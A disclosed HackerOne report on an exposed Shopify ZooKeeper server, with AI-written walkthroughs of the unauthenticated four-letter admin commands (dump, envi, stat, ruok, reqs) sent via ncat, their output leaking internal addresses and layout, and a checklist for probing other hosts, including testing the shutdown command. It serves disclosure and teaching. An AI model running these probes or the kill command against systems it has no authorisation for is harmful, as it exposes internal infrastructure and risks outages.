Skip to content
Misconfiguration Disclosed report Beginner

Unauthorized access to Zookeeper on http://locutus-zk3.ec2.shopify.com:2181

An exposed Zookeeper service on a Shopify host allowed unauthenticated access to administrative commands, enabling information disclosure and potential denial of service; the kill command was available but not executed.

mico02 Follow

Originally disclosed on HackerOne

Bounty$1,000 View original
  • Triaged in under an hour
  • Fixed in 4 hours
  • Paid in 12 days
  • Disclosed after 12 days

What is Zookeeper?

Zookeeper is a coordination service for distributed applications. It allows common services such as naming, synchronisation, configuration management and group services to be managed by a simple interface and It uses a data model of File System on an operating system.

How does Zookeeper relate to Shopify?

While scanning for Open ports on http://locutus-zk3.ec2.shopify.com, I came across port 2181. Grabbing the banner on this port revealed that it's running Zookeeper:

Zookeeper version: 3.5.1-alpha-1693007, built on 07/28/2015 07:19 GMT

So you found an open, how does this affect Shopify?

Zookeeper installations does not deploy any authentication by default, this makes it very easy for remote attackers to abuse Zookeeper installations, gather information and cause havoc inside Zookeeper clusters by killing the servers (my tests showed that the kill command is available on this instance). After some testing, I found that I was able to run all the commands that are only allowed to be run by admins! Here is a sample of the commands I ran:

dump: Lists the outstanding sessions and ephemeral nodes. This only works on the leader.

$ echo dump |ncat 52.2.164.229 2181
SessionTracker dump:
Global Sessions(7):
0x1053c5850800023       4000ms
0x1053c5850800024       4000ms
0x2000b1ecdeb0160       4000ms
0x2000b1ecdeb0161       4000ms
0x2000b1ecdeb0162       4000ms
0x3055d0251540008       4000ms
0x3055d0251540009       4000ms
ephemeral nodes dump:
Sessions with Ephemerals (5):
0x1053c5850800024:
        /borg/locutus/agents/061e4b6/10.92.1.192:9257
0x1053c5850800023:
        /borg/locutus/agents/061e4b6/10.92.1.118:9257
0x3055d0251540008:
        /borg/locutus/agents/061e4b6/10.92.1.120:9257
0x2000b1ecdeb0162:
        /borg/locutus/agents/061e4b6/10.92.1.87:9257
0x3055d0251540009:
        /borg/locutus/agents/061e4b6/10.92.1.10:9257
Connections dump:
Connections Sets (2)/(7):
Ncat: An established connection was aborted by the software in your host machine. .

envi: Print details about serving environment.

$ echo envi |ncat 52.2.164.229 2181
Environment:
zookeeper.version=3.5.1-alpha-1693007, built on 07/28/2015 07:19 GMT
host.name=locutus-zk3.ec2.shopify.com
java.version=1.7.0_79
java.vendor=Oracle Corporation
java.home=/usr/lib/jvm/java-7-openjdk-amd64/jre
java.class.path=:/etc/zookeeper-locutus:/usr/src/zookeeper-locutus/zookeeper/zookeeper-3.5.1-alpha.jar:/usr/src/zookeeper-locutus/zookeeper/lib/commons-cli-1.2.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jackson-core-asl-1.9.11.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jackson-mapper-asl-1.9.11.jar:/usr/src/zookeeper-locutus/zookeeper/lib/javacc.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jetty-6.1.26.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jetty-util-6.1.26.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jline-0.9.94.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jline-2.11.jar:/usr/src/zookeeper-locutus/zookeeper/lib/log4j-1.2.16.jar:/usr/src/zookeeper-locutus/zookeeper/lib/netty-3.7.0.Final.jar:/usr/src/zookeeper-locutus/zookeeper/lib/servlet-api-2.5-20081211.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-api-1.6.1.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-api-1.7.5.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-log4j12-1.6.1.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-log4j12-1.7.5.jar
java.library.path=/usr/java/packages/lib/amd64:/usr/lib/x86_64-linux-gnu/jni:/lib/x86_64-linux-gnu:/usr/lib/x86_64-linux-gnu:/usr/lib/jni:/lib:/usr/lib
java.Ncat: An established connection was aborted by the software in your host machine.

kill: Shuts down the server. (Haven't tried this one)

reqs: List outstanding requests.

$ echo reqs |ncat 52.2.164.229 2181
close: Result too large

ruok: Tests if server is running in a non-error state. The server will respond with imok if it is running. Otherwise it will not respond at all.

$ echo ruok |ncat 52.2.164.229 2181
imok

stat: Lists statistics about performance and connected clients.

$ echo stat |ncat 52.2.164.229 2181
Zookeeper version: 3.5.1-alpha-1693007, built on 07/28/2015 07:19 GMT
Clients:
 /10.92.1.120:35986[1](queued=0,recved=2238053,sent=2238053)
 /10.92.1.10:48851[1](queued=0,recved=2235979,sent=2235979)
 /10.92.1.242:54198[1](queued=0,recved=713623,sent=713623)
 /86.136.100.60:11057[0](queued=0,recved=1,sent=0)
 /10.92.1.253:60423[1](queued=0,recved=2204714,sent=2204714)
 /10.92.1.192:47933[1](queued=0,recved=1926008,sent=1926008)
 /10.92.1.118:37256[1](queued=0,recved=129470,sent=129470)

Latency min/avg/max: 0/0/981
Received: 25813570
Sent: 25813622
Connections: 7
Outstanding: 0
Zxid: 0xc2000016ad
Mode: follower
Node count: 192

The original report as published on HackerOne, by mico02. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

ZooKeeper is a coordination service for distributed applications. It provides naming, synchronisation, configuration management and group services behind a simple interface, and it stores its data in a file-system-like model. One of Shopify's ZooKeeper nodes, locutus-zk3.ec2.shopify.com, was reachable from the internet.

ZooKeeper exposes a set of four-letter administrative commands over its client port. These commands are meant for operators: they report sessions, environment details, outstanding requests, server health and performance statistics, and one of them shuts the server down. The report is about those commands being reachable, and answerable, by anyone who can open a TCP connection to port 2181.

Setup

The researcher was scanning for open ports on http://locutus-zk3.ec2.shopify.com. No account, credential or special role was needed: the only tool used in the report is ncat, invoked to send a single command word to the ZooKeeper port and read the reply. The instance identified itself as:

Text
Zookeeper version: 3.5.1-alpha-1693007, built on 07/28/2015 07:19 GMT

Finding it

A port scan turned up port 2181 on the host. Grabbing the banner on that port returned the version string above, which identified the service as ZooKeeper. Port 2181 is the standard ZooKeeper client port, so the next question was whether the administrative command interface behind it was exposed and unauthenticated.

Exploitation

The researcher's point of departure is that ZooKeeper installations do not deploy any authentication by default. That makes it easy for a remote attacker to abuse an exposed installation, gather information and cause damage inside a cluster, including killing servers. The report states that testing showed the kill command was available on this instance, and that all commands normally restricted to administrators could be run. The commands below are the sample the researcher ran.

Step 1: dump outstanding sessions and ephemeral nodes

Bash
$ echo dump |ncat [redacted] 2181
SessionTracker dump:
Global Sessions(7):
0x1053c5850800023       4000ms
0x1053c5850800024       4000ms
0x2000b1ecdeb0160       4000ms
0x2000b1ecdeb0161       4000ms
0x2000b1ecdeb0162       4000ms
0x3055d0251540008       4000ms
0x3055d0251540009       4000ms
ephemeral nodes dump:
Sessions with Ephemerals (5):
0x1053c5850800024:
        /borg/locutus/agents/061e4b6/[redacted]:9257
0x1053c5850800023:
        /borg/locutus/agents/061e4b6/[redacted]:9257
0x3055d0251540008:
        /borg/locutus/agents/061e4b6/[redacted]:9257
0x2000b1ecdeb0162:
        /borg/locutus/agents/061e4b6/[redacted]:9257
0x3055d0251540009:
        /borg/locutus/agents/061e4b6/[redacted]:9257
Connections dump:
Connections Sets (2)/(7):
Ncat: An established connection was aborted by the software in your host machine. .

dump lists outstanding sessions and ephemeral nodes, and per the report it only works on the leader. The reply shows seven global sessions with their session IDs and timeouts, five sessions holding ephemeral nodes, and the znode paths under /borg/locutus/agents/ that those sessions registered, each ending in an internal address and port. The connection was aborted by the local host before the connections dump was complete.

Step 2: print the serving environment

Bash
$ echo envi |ncat [redacted] 2181
Environment:
zookeeper.version=3.5.1-alpha-1693007, built on 07/28/2015 07:19 GMT
host.name=locutus-zk3.ec2.shopify.com
java.version=1.7.0_79
java.vendor=Oracle Corporation
java.home=/usr/lib/jvm/java-7-openjdk-amd64/jre
java.class.path=:/etc/zookeeper-locutus:/usr/src/zookeeper-locutus/zookeeper/zookeeper-3.5.1-alpha.jar:/usr/src/zookeeper-locutus/zookeeper/lib/commons-cli-1.2.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jackson-core-asl-1.9.11.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jackson-mapper-asl-1.9.11.jar:/usr/src/zookeeper-locutus/zookeeper/lib/javacc.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jetty-6.1.26.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jetty-util-6.1.26.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jline-0.9.94.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jline-2.11.jar:/usr/src/zookeeper-locutus/zookeeper/lib/log4j-1.2.16.jar:/usr/src/zookeeper-locutus/zookeeper/lib/netty-3.7.0.Final.jar:/usr/src/zookeeper-locutus/zookeeper/lib/servlet-api-2.5-20081211.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-api-1.6.1.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-api-1.7.5.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-log4j12-1.6.1.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-log4j12-1.7.5.jar
java.library.path=/usr/java/packages/lib/amd64:/usr/lib/x86_64-linux-gnu/jni:/lib/x86_64-linux-gnu:/usr/lib/x86_64-linux-gnu:/usr/lib/jni:/lib:/usr/lib
java.Ncat: An established connection was aborted by the software in your host machine.

envi prints details about the serving environment. The reply confirms the host name, the Java runtime and vendor, the JVM home, and the full classpath, which reveals the installation layout under /etc/zookeeper-locutus and /usr/src/zookeeper-locutus/zookeeper/ together with the bundled library versions. The output is cut off mid-line by the same local connection abort.

Step 3: list outstanding requests

Bash
$ echo reqs |ncat [redacted] 2181
close: Result too large

reqs lists outstanding requests. Here it returned an error rather than a listing.

Step 4: test server health

Bash
$ echo ruok |ncat [redacted] 2181
imok

ruok tests whether the server is running in a non-error state. It answers imok when it is, and does not respond at all otherwise. The reply confirms the server was healthy and answering the command interface.

Step 5: read performance and client statistics

Bash
$ echo stat |ncat [redacted] 2181
Zookeeper version: 3.5.1-alpha-1693007, built on 07/28/2015 07:19 GMT
Clients:
 /[redacted]:35986[1](queued=0,recved=2238053,sent=2238053)
 /[redacted]:48851[1](queued=0,recved=2235979,sent=2235979)
 /[redacted]:54198[1](queued=0,recved=713623,sent=713623)
 /[redacted]:11057[0](queued=0,recved=1,sent=0)
 /[redacted]:60423[1](queued=0,recved=2204714,sent=2204714)
 /[redacted]:47933[1](queued=0,recved=1926008,sent=1926008)
 /[redacted]:37256[1](queued=0,recved=129470,sent=129470)

Latency min/avg/max: 0/0/981
Received: 25813570
Sent: 25813622
Connections: 7
Outstanding: 0
Zxid: 0xc2000016ad
Mode: follower
Node count: 192

stat lists statistics about performance and connected clients. The reply enumerates the connected clients with their addresses, ports, flags and per-connection counters, then gives latency, totals for received and sent packets, the connection count, the outstanding request count, the last zxid, the server mode (follower) and the node count. The client list shows the connected clients with their addresses and counters.

Step 6: the kill command

kill shuts down the server. The researcher notes that this command was available on the instance but had not been tried, so no output is shown for it.

Root cause

ZooKeeper does not deploy authentication by default, and the four-letter administrative commands are served on the same client port as normal traffic. Unless the deployment restricts who can reach port 2181 and which commands are enabled, any remote party that can open a TCP connection can issue them. On this host the port was reachable from the internet and the administrative commands, including kill, were enabled, so the default posture was the whole of the weakness. The report does not describe any additional defence that was bypassed.

Impact

The exposed interface let an unauthenticated remote party enumerate sessions, ephemeral nodes and their znode paths, read the serving environment and classpath, read client addresses and traffic counters, and confirm server health. The report states that the kill command was available, which would allow an attacker to shut the server down, and that all administrator-only commands could be run, which the researcher frames as a way to gather information and cause havoc inside ZooKeeper clusters. The researcher did not run kill, so the report shows availability of the command rather than a demonstrated outage.

Fix

The report does not describe the remediation Shopify applied. The measure that follows from the finding is to stop exposing the ZooKeeper client port to the internet and to restrict the four-letter command set to what operations actually need, in particular removing kill from remotely reachable instances.

Variants to test

  1. Scan for TCP port 2181 on hosts in scope and send ruok. A reply of imok shows the command interface is reachable and answering.
  2. Send stat to a reachable instance. A reply listing clients, latency and node count confirms unauthenticated access to administrative statistics.
  3. Send envi to a reachable instance. A reply with version, host name and classpath confirms environment disclosure.
  4. Send dump to a reachable instance. A reply listing sessions and ephemeral node paths confirms exposure of cluster topology and registered service paths.
  5. Send reqs to a reachable instance. A listing of outstanding requests, rather than an error, confirms the command is enabled.
  6. Check whether kill is accepted on a reachable instance, only where the program permits it and with care, since a positive result means taking the server down.

Hunting notes

This kind of exposure hides on non-HTTP ports that fall outside the usual web recon: the signal is an open 2181 in a port scan, and the banner on that port names ZooKeeper and its version. Sending ruok is a cheap confirmation before going further. The report's impact case rests on showing that the administrative commands answered without any credential, including the one that shuts the server down, and on the operational detail those replies exposed, such as session identifiers, ephemeral node paths and internal client addresses. The report records a bounty of 1000.00 USD.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 17 min read.

What happened, in plain words

Shopify runs a piece of infrastructure software called ZooKeeper on one of its servers. ZooKeeper is meant to be a private helper for other programs, but one of its servers could be reached directly from the public internet. Worse, ZooKeeper ships with a set of built-in maintenance commands that anyone can send to it, and by default it does not ask for a username or password before answering them. The researcher found that server, sent those commands, and got back information about Shopify's internal systems. One of the commands that was available would have let him switch the server off. He did not run that one.

This article walks through the whole thing from zero: what ZooKeeper is, why an open port matters, what each command did, and what the replies revealed.

Background: what ZooKeeper is

Imagine a large office building where many teams work. They all need a shared noticeboard: who is in the building right now, which meeting rooms are booked, what the current version of the fire drill plan is. If every team kept its own copy, they would constantly disagree. So the building has one central noticeboard that everyone reads from and writes to, and it always stays consistent.

ZooKeeper is that noticeboard for computer programs. It is a coordination service for distributed applications: a piece of software whose only job is to help many other programs stay in agreement. It offers common services such as naming (which program is where), synchronisation (who goes first), configuration management (what settings everyone should use) and group services (who is a member of which group). Programs talk to it through a simple interface, and it stores its data in a model that looks like a file system on an operating system: folders inside folders, with values stored at the end of each path.

A few terms you will meet in this article:

  • Server: a computer somewhere that runs software and answers requests over a network.
  • Port: a numbered door on a computer. One machine can run many services, and each one listens on its own port number. Web pages normally arrive through port 80 or 443; ZooKeeper normally listens on port 2181.
  • Distributed application: a program split across several computers that have to work together as one.
  • Cluster: a group of servers running the same software and cooperating, so that if one fails the others carry on.

How ZooKeeper relates to Shopify

Shopify runs a ZooKeeper deployment. One of the servers in that deployment had the hostname locutus-zk3.ec2.shopify.com, and it was reachable from the internet.

The researcher was scanning for open ports on http://locutus-zk3.ec2.shopify.com. A port scan is exactly what it sounds like: a program knocks on a range of numbered doors on a machine to see which ones answer. It is one of the first things anyone does when looking at a system, because every open door is a service that might be misconfigured.

During that scan, port 2181 answered. Grabbing the banner on that port, meaning connecting and reading whatever the service says first, revealed that it was running ZooKeeper:

Text
Zookeeper version: 3.5.1-alpha-1693007, built on 07/28/2015 07:19 GMT

Line by line:

  • Zookeeper version: is the service introducing itself. Many network services send a short greeting like this as soon as you connect.
  • 3.5.1-alpha-1693007 is the version of ZooKeeper. The alpha part tells you it is a pre-release build, and the long number is a build identifier.
  • built on 07/28/2015 07:19 GMT is when that build was produced.

Why does this matter? Because the greeting alone told the researcher two things: which software is behind the door, and which version. From there he knew that port 2181 is ZooKeeper's standard client port, and that ZooKeeper has a set of administrative commands that can be sent over that same port.

What the four-letter commands are

ZooKeeper has a feature that is easy to misunderstand: it accepts short four-letter words as commands on its client port. These are not part of the normal data traffic that applications use. They are maintenance commands meant for the people who operate the server, a bit like the service hatch on a lift: useful for the engineer, not something you want a stranger in the street to be able to open.

The commands used in this report are:

Command What it is meant to do
dump List outstanding sessions and ephemeral nodes. Per the report, it only works on the leader.
envi Print details about the serving environment.
kill Shut down the server.
reqs List outstanding requests.
ruok Test whether the server is running in a non-error state.
stat List statistics about performance and connected clients.

Two of those words need explaining before we go further.

A session in ZooKeeper is a standing relationship between a connected program and the server. When a program connects, ZooKeeper gives it a session identifier and keeps track of it for as long as it stays connected. Sessions have timeouts, shown in milliseconds, so if a program goes silent for too long the server can clean up after it.

An ephemeral node is a piece of data in ZooKeeper's file-system-like tree that exists only as long as the session that created it. Think of a name badge pinned to a visitor: while the visitor is in the building the badge exists, and the moment they leave it is removed automatically. Programs use ephemeral nodes to say "I am here and alive right now", which is why they are so useful for coordination.

Why an open port is a problem here

The researcher's starting point is a simple fact about the software: ZooKeeper installations do not deploy any authentication by default. Authentication is the process of proving who you are, with a password, a key or a certificate. Without it, the server has no way to tell an operator from a stranger. This makes it very easy for remote attackers to abuse ZooKeeper installations, gather information and cause havoc inside ZooKeeper clusters by killing the servers.

The report states that testing showed the kill command was available on this instance, and that all the commands normally restricted to administrators could be run. In other words, the service hatch was not just unlocked, it was standing open onto the street.

The tool: ncat

The only tool used in the report is ncat. It is a small command-line program that opens a network connection to a host and port, sends whatever you type, and prints whatever comes back. You can think of it as a telephone: you dial a number (the address and port), say a word, and listen to the answer.

The pattern used throughout is echo <word> | ncat <address> 2181. The echo part produces the word, the vertical bar | passes that word into ncat, and ncat sends it to port 2181 on the given address. The server reads the four letters, recognises a command, and writes its reply back down the same connection.

Step 1: dump outstanding sessions and ephemeral nodes

The first command asks the server to list who is currently connected and which ephemeral nodes exist.

Bash
$ echo dump |ncat [redacted] 2181
SessionTracker dump:
Global Sessions(7):
0x1053c5850800023       4000ms
0x1053c5850800024       4000ms
0x2000b1ecdeb0160       4000ms
0x2000b1ecdeb0161       4000ms
0x2000b1ecdeb0162       4000ms
0x3055d0251540008       4000ms
0x3055d0251540009       4000ms
ephemeral nodes dump:
Sessions with Ephemerals (5):
0x1053c5850800024:
        /borg/locutus/agents/061e4b6/[redacted]:9257
0x1053c5850800023:
        /borg/locutus/agents/061e4b6/[redacted]:9257
0x3055d0251540008:
        /borg/locutus/agents/061e4b6/[redacted]:9257
0x2000b1ecdeb0162:
        /borg/locutus/agents/061e4b6/[redacted]:9257
0x3055d0251540009:
        /borg/locutus/agents/061e4b6/[redacted]:9257
Connections dump:
Connections Sets (2)/(7):
Ncat: An established connection was aborted by the software in your host machine. .

What each part means:

  • $ echo dump |ncat [redacted] 2181 is the command as typed. The $ is just the shell prompt. dump is the four-letter word being sent.
  • SessionTracker dump: is the server's heading for the section that follows.
  • Global Sessions(7): says there are seven sessions in total.
  • Each line below it, such as 0x1053c5850800023 4000ms, is one session: a long identifier starting with 0x, then the session timeout of 4000 milliseconds, which is four seconds.
  • ephemeral nodes dump: starts the second section.
  • Sessions with Ephemerals (5): says five of the seven sessions currently hold ephemeral nodes.
  • Each block under it pairs a session identifier with the path that session registered, for example /borg/locutus/agents/061e4b6/[redacted]:9257. These are ZooKeeper's folder-like paths, and each one ends in an internal address and port.
  • Connections dump: and Connections Sets (2)/(7): begin a third section listing connections.
  • Ncat: An established connection was aborted by the software in your host machine. . is not from ZooKeeper. It is ncat on the researcher's own machine reporting that the connection was cut off locally before the connections section was finished.

Why run this? Because it answers the question "is anyone actually using this thing, and what do they call themselves?". The reply showed seven live sessions, five of them holding ephemeral nodes, and the paths those sessions registered. Those paths are internal naming details that were never meant to be visible from outside.

Step 2: print the serving environment

The second command asks the server to describe itself: what software it runs, on what operating system, with which libraries.

Bash
$ echo envi |ncat [redacted] 2181
Environment:
zookeeper.version=3.5.1-alpha-1693007, built on 07/28/2015 07:19 GMT
host.name=locutus-zk3.ec2.shopify.com
java.version=1.7.0_79
java.vendor=Oracle Corporation
java.home=/usr/lib/jvm/java-7-openjdk-amd64/jre
java.class.path=:/etc/zookeeper-locutus:/usr/src/zookeeper-locutus/zookeeper/zookeeper-3.5.1-alpha.jar:/usr/src/zookeeper-locutus/zookeeper/lib/commons-cli-1.2.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jackson-core-asl-1.9.11.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jackson-mapper-asl-1.9.11.jar:/usr/src/zookeeper-locutus/zookeeper/lib/javacc.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jetty-6.1.26.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jetty-util-6.1.26.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jline-0.9.94.jar:/usr/src/zookeeper-locutus/zookeeper/lib/jline-2.11.jar:/usr/src/zookeeper-locutus/zookeeper/lib/log4j-1.2.16.jar:/usr/src/zookeeper-locutus/zookeeper/lib/netty-3.7.0.Final.jar:/usr/src/zookeeper-locutus/zookeeper/lib/servlet-api-2.5-20081211.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-api-1.6.1.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-api-1.7.5.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-log4j12-1.6.1.jar:/usr/src/zookeeper-locutus/zookeeper/lib/slf4j-log4j12-1.7.5.jar
java.library.path=/usr/java/packages/lib/amd64:/usr/lib/x86_64-linux-gnu/jni:/lib/x86_64-linux-gnu:/usr/lib/x86_64-linux-gnu:/usr/lib/jni:/lib:/usr/lib
java.Ncat: An established connection was aborted by the software in your host machine.

What each line tells you:

  • Environment: is the heading for the reply.
  • zookeeper.version=... repeats the version string from the banner.
  • host.name=locutus-zk3.ec2.shopify.com is the machine's own name, confirming which server answered.
  • java.version=1.7.0_79 and java.vendor=Oracle Corporation say which Java runtime is installed and who made it. ZooKeeper is written in Java, so it needs a Java runtime to run.
  • java.home=/usr/lib/jvm/java-7-openjdk-amd64/jre is where that Java runtime lives on disk.
  • java.class.path=... is the list of files and folders the program loads its code from, separated by colons. It reveals the installation layout under /etc/zookeeper-locutus and /usr/src/zookeeper-locutus/zookeeper/, and it names every bundled library with its version, such as log4j-1.2.16.jar and netty-3.7.0.Final.jar.
  • java.library.path=... is the list of folders where the program looks for native system libraries.
  • java.Ncat: An established connection was aborted by the software in your host machine. is again the local ncat message, this time cutting the output off in the middle of a line.

Why run this? Because knowing the exact software, versions and file layout of a server is the raw material for further attacks. An attacker who knows which library versions are installed can look up whether any of them have known weaknesses. None of this was meant to be readable by a stranger.

Step 3: list outstanding requests

The third command asks for a list of requests that are currently waiting to be processed.

Bash
$ echo reqs |ncat [redacted] 2181
close: Result too large
  • reqs is the four-letter word being sent.
  • close: Result too large is the reply. Instead of a listing, the server returned an error, apparently because the result was too big to return.

Why run this? Because a successful listing would have shown what work the server was in the middle of doing. Here it did not work, so the report records the error rather than a listing.

Step 4: test server health

The fourth command is the simplest one: it asks the server whether it is alive and well.

Bash
$ echo ruok |ncat [redacted] 2181
imok
  • ruok is the four-letter word. Read it aloud: "are you OK".
  • imok is the reply, meaning "I am OK". The report explains that the server answers imok when it is running in a non-error state, and does not respond at all otherwise.

Why run this? Because it is the cheapest possible confirmation that the command interface is not only reachable but actually answering. If you get imok, you know the door is open and someone is home.

Step 5: read performance and client statistics

The fifth command asks for a summary of what the server is doing and who is connected to it.

Bash
$ echo stat |ncat [redacted] 2181
Zookeeper version: 3.5.1-alpha-1693007, built on 07/28/2015 07:19 GMT
Clients:
 /[redacted]:35986[1](queued=0,recved=2238053,sent=2238053)
 /[redacted]:48851[1](queued=0,recved=2235979,sent=2235979)
 /[redacted]:54198[1](queued=0,recved=713623,sent=713623)
 /[redacted]:11057[0](queued=0,recved=1,sent=0)
 /[redacted]:60423[1](queued=0,recved=2204714,sent=2204714)
 /[redacted]:47933[1](queued=0,recved=1926008,sent=1926008)
 /[redacted]:37256[1](queued=0,recved=129470,sent=129470)

Latency min/avg/max: 0/0/981
Received: 25813570
Sent: 25813622
Connections: 7
Outstanding: 0
Zxid: 0xc2000016ad
Mode: follower
Node count: 192

What each part means:

  • Zookeeper version: ... repeats the version string once more.
  • Clients: starts the list of connected programs. Each line is one connection: an address, a port, a flag in square brackets, and counters in brackets.
  • queued=0 means no messages are waiting for that client.
  • recved= and sent= are running totals of packets received from and sent to that client. For example, /[redacted]:35986[1](queued=0,recved=2238053,sent=2238053) is a client that has exchanged over two million packets in each direction.
  • The line /[redacted]:11057[0](queued=0,recved=1,sent=0) stands out: it has received one packet and sent nothing, which is consistent with a fresh connection that has not yet done anything. The list shows the connected clients with their addresses and counters.
  • Latency min/avg/max: 0/0/981 is the shortest, average and longest response time in milliseconds.
  • Received: 25813570 and Sent: 25813622 are totals for the whole server.
  • Connections: 7 is how many clients are connected.
  • Outstanding: 0 is how many requests are waiting.
  • Zxid: 0xc2000016ad is an identifier for the last change the server applied. ZooKeeper numbers its changes in order so that all servers in a cluster can agree on what happened when.
  • Mode: follower says this server is a follower, not the leader. In a ZooKeeper cluster one server is elected leader and the others follow it, which is how they stay consistent.
  • Node count: 192 is how many data nodes exist in the tree.

Why run this? Because it turns a vague "the port is open" into concrete operational detail: who is connected, how busy the server is, how big the data tree is, and whether this particular machine is a leader or a follower. All of it was handed over without a single credential.

Step 6: the kill command

The last command in the report is the dangerous one.

kill shuts down the server. The researcher notes that this command was available on the instance but had not been tried, so there is no output to show for it. That distinction matters: the report demonstrates that the command was available, not that the server was actually taken down.

Why mention it at all? Because availability is the point. If a stranger can reach the command that switches the server off, then the only thing standing between the cluster and an outage is the stranger's choice not to use it.

Why this was possible

The root cause is a default. ZooKeeper does not deploy authentication by default, and the four-letter administrative commands are served on the same client port as normal traffic. Unless the deployment restricts who can reach port 2181 and which commands are enabled, any remote party that can open a network connection can issue them.

On this host, port 2181 was reachable from the internet and the administrative commands, including kill, were enabled. The default posture was the whole of the weakness. The report does not describe any additional defence that was bypassed.

What an attacker could have done

The exposed interface let an unauthenticated remote party:

  1. Enumerate sessions, ephemeral nodes and their paths.
  2. Read the serving environment and the list of loaded libraries.
  3. Read client addresses and traffic counters.
  4. Confirm server health.

The report states that the kill command was available, which would allow an attacker to shut the server down, and that all administrator-only commands could be run, which the researcher frames as a way to gather information and cause havoc inside ZooKeeper clusters. Because kill was not run, the report shows availability of the command rather than a demonstrated outage.

How it was fixed

The report does not describe the remediation Shopify applied. The measure that follows from the finding is to stop exposing the ZooKeeper client port to the internet and to restrict the four-letter command set to what operations actually need, in particular removing kill from remotely reachable instances.

How to look for the same thing elsewhere

If you are testing systems you are allowed to test, the same pattern can be checked in a few small steps:

  1. Scan for TCP port 2181 on hosts in scope and send ruok. A reply of imok shows the command interface is reachable and answering.
  2. Send stat to a reachable instance. A reply listing clients, latency and node count confirms unauthenticated access to administrative statistics.
  3. Send envi to a reachable instance. A reply with version, host name and classpath confirms environment disclosure.
  4. Send dump to a reachable instance. A reply listing sessions and ephemeral node paths confirms exposure of cluster topology and registered service paths.
  5. Send reqs to a reachable instance. A listing of outstanding requests, rather than an error, confirms the command is enabled.
  6. Check whether kill is accepted on a reachable instance, only where the program permits it and with care, since a positive result means taking the server down.

Notes for hunters

This kind of exposure hides on non-HTTP ports that fall outside the usual web reconnaissance. The signal is an open 2181 in a port scan, and the banner on that port names ZooKeeper and its version. Sending ruok is a cheap confirmation before going further. The impact case rests on showing that the administrative commands answered without any credential, including the one that shuts the server down, and on the operational detail those replies exposed, such as session identifiers, ephemeral node paths and internal client addresses. The report records a bounty of 1000.00 USD.

Glossary

  • Authentication: The process of proving who you are, usually with a password, key or certificate, before a system lets you do something.
  • Banner: The short greeting a network service sends when you connect, often naming the software and its version.
  • Bounty: A payment a company makes to someone who reports a security problem to it responsibly.
  • Classpath: The list of files and folders a Java program loads its code from.
  • Cluster: A group of servers running the same software and cooperating, so that the service survives the failure of one machine.
  • Coordination service: Software whose job is to help many other programs stay in agreement about shared information.
  • Ephemeral node: A piece of data in ZooKeeper that exists only while the session that created it is alive, and disappears when that session ends.
  • Follower: In a ZooKeeper cluster, a server that is not the elected leader and follows it to stay consistent.
  • Four-letter commands: Short administrative words that ZooKeeper accepts on its client port, intended for operators rather than normal applications.
  • Hostname: The human-readable name of a machine on a network, such as locutus-zk3.ec2.shopify.com.
  • Java: A programming language and runtime; ZooKeeper is written in it and needs a Java runtime installed to run.
  • Leader: In a ZooKeeper cluster, the server elected to coordinate the others.
  • ncat: A command-line tool that opens a network connection, sends what you give it and prints the reply.
  • Port: A numbered door on a computer through which one particular service is reached; ZooKeeper normally uses 2181.
  • Port scan: Knocking on a range of numbered doors on a machine to see which services answer.
  • Remote attacker: Someone attacking a system over a network from somewhere else, rather than sitting at the machine.
  • Server: A computer that runs software and answers requests over a network.
  • Session: A standing relationship between a connected program and ZooKeeper, identified by a session ID and kept alive until it times out or disconnects.
  • Timeout: The length of time a system waits before deciding that something has stopped responding.
  • ZooKeeper: A coordination service for distributed applications, offering naming, synchronisation, configuration management and group services, and storing data in a file-system-like model.
  • Zxid: An identifier ZooKeeper assigns to each change it applies, so that all servers in a cluster can agree on the order of events.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Security misconfiguration

The lesson behind this report.

Settings left unsafe: exposed panels, open storage buckets, debug modes, default credentials.